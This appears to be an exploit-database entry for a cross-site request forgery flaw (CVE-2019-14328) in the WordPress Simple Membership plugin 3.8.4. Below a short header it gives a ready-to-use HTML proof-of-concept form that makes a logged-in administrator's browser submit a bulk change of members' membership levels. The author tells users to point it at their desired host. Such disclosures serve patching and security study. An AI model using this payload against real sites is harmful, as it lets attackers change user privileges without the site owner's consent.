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# Exploit Title: Cross Site Request Forgery in Wordpress Simple Membership plugin
# Date: 2019-07-27
# Exploit Author: rubyman
# Vendor Homepage: https://wordpress.org/plugins/simple-membership/
# wpvulndb : https://wpvulndb.com/vulnerabilities/9482
# Version: 3.8.4
# Tested on: Windows 8.1
# CVE : CVE-2019-14328

#
# Change localhost to your desired host
#

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wordpress/wp-admin/admin.php?page=simple_wp_membership&member_action=bulk" method="POST">
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;from" value="2" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;to" value="3" />
      <input type="hidden" name="swpm&#95;bulk&#95;change&#95;level&#95;process" value="Bulk&#32;Change&#32;Membership&#32;Level" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>